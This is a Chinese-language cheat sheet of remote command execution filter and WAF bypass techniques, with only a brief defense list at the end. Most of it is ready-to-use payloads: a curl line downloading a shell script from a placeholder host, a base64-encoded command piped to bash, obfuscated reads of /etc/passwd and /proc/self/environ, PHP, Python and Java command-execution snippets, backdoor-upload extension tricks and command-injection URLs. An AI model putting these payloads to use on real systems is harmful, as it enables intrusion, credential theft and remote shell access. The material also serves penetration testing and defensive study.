远程代码执行(RCE)漏洞是一种严重的安全威胁,允许攻击者在受害者的服务器上执行任意命令。在实际渗透测试和攻击过程中,WAF(Web应用防火墙)或漏洞的某些限制可能需要使用各种绕过技巧。以下是常见的 RCE 绕过技术分类和示例。
文章目录
1. 基础绕过技术
1.1 空格替代
空格是常见的分隔符,很多防护机制会限制空格,可以用以下方法替代:
常见替代符号:
${IFS} # Bash 的内置分隔符
%09 # URL 编码的 Tab 字符
+ # URL 编码的空格(部分场景)
示例:
curl${IFS}-o${IFS}/tmp/shell http://example.com/shell.sh
路径截断: 替换 / 为 // 或 ./:
/bin/sh => //bin/sh => ./bin/sh
1.2 命令连接符
将多个命令组合在一起,以绕过某些简单的过滤:
;
(分号):执行多个命令。
&&
:前一命令成功时执行后一命令。
||
:前一命令失败时执行后一命令。
|
(管道):将前一命令的输出传递给下一命令。
示例:
cat /etc/passwd;ls
2. 字符编码绕过
2.1 URL 编码
将命令用 URL 编码后绕过过滤机制:
cat%20/etc/passwd
2.2 双字节编码
某些过滤规则可能对单字节敏感,使用双字节编码可以绕过:
%c0%ae%c0%ae/ (双字节表示 ../)
2.3 Base64 编码
通过 Base64 编码传递 payload,再解码执行:
echo cHl0aG9uIC1jICdpbXBvcnQgc3VicHJvY2VzOyBzdWJwcm9jZXNzLnJ1bigiL2Jpbi9zaCIsImN1cmwgL3NvbWUvdXJsIikn | base64 -d | bash
2.4 Unicode 编码
将命令部分替换为 Unicode 编码绕过检测:
\u002fbin\u002fsh
3. 符号混淆绕过
3.1 字符拆分
将关键字用字符串拼接或环境变量替换:
/bin/ba${PATH:2:1}sh
3.2 混淆关键命令
将关键命令分解为动态变量或使用其他等效命令:
export CMD=cat; $CMD /etc/passwd
4. 特殊路径与命令利用
4.1 环境变量利用
利用常见环境变量执行命令:
${PATH}
:搜索可执行文件的路径。
${HOME}
:用户的主目录。
示例:
$PATH/bin/sh
4.2 短命令调用
使用短命令或别名绕过:
curl => wget => lwp-download
4.3 利用 /proc 文件系统
在 Linux 上通过 /proc 文件系统访问系统资源:
cat /proc/self/environ
5. 输入限制绕过
5.1 添加噪声字符
在 payload 中加入无害字符绕过简单规则:
cat /etc/passwd |#注释
ls
5.2 分块执行
将命令分成多部分执行:
e=cat; $e /etc/passwd
6. 常见 WAF 绕过技巧
6.1 命令关键字变形
替换命令中的敏感关键字:
c%61t /etc/passwd
6.2 字符替换
利用不同编码或替代方案:
bash -c "ls"
=> b%s%68 -c "ls" (变形)
6.3 多重编码
将 payload 编码多次绕过深度检查:
curl%2520http://example.com
7. 基于语言的特定绕过
7.1 PHP
使用动态函数绕过:
<?php
$cmd = "cat /etc/passwd";
call_user_func("system", $cmd);
?>
短标签与拼接:
<?=`ls`; ?>
7.2 Python
利用 eval:
eval("__import__('os').system('cat /etc/passwd')")
混淆:
import os
getattr(os, 'sy' + 'stem')('ls')
7.3 Java
通过 Runtime 调用系统命令:
Runtime.getRuntime().exec("ls");
8. 文件上传与 RCE 结合绕过
8.1 文件名伪装
上传后门文件时,伪装文件扩展名:
.php.jpg
.phtml
8.2 命令拼接
通过文件名触发命令:
example.php;cat /etc/passwd
8.3 双文件解析
某些服务器会解析两个扩展名:
shell.php.txt
9. 综合案例
9.1 简单 PHP RCE 绕过
http://example.com/index.php?cmd=cat${IFS}/etc/passwd
9.2 Base64 编码传递
http://example.com/index.php?cmd=echo${IFS}d2hvYW1pCg==|base64${IFS}-d
9.3 WAF 加强环境
通过动态生成:
http://example.com/index.php?cmd=$({echo,cat})${IFS}/etc/passwd
10. 常见防御措施
- 输入验证: 使用白名单策略严格限制输入。
- 命令过滤: 过滤关键系统命令(如 cat, ls)。
- Web 应用防火墙(WAF): 添加多层防护规则。
- 最小化权限: 降低 Web 服务用户的权限,防止命令被滥用。
- 以上为 RCE 绕过的常见方法及案例,应结合实际场景与工具进行测试,同时加强目标环境的防护措施以防止漏洞被恶意利用。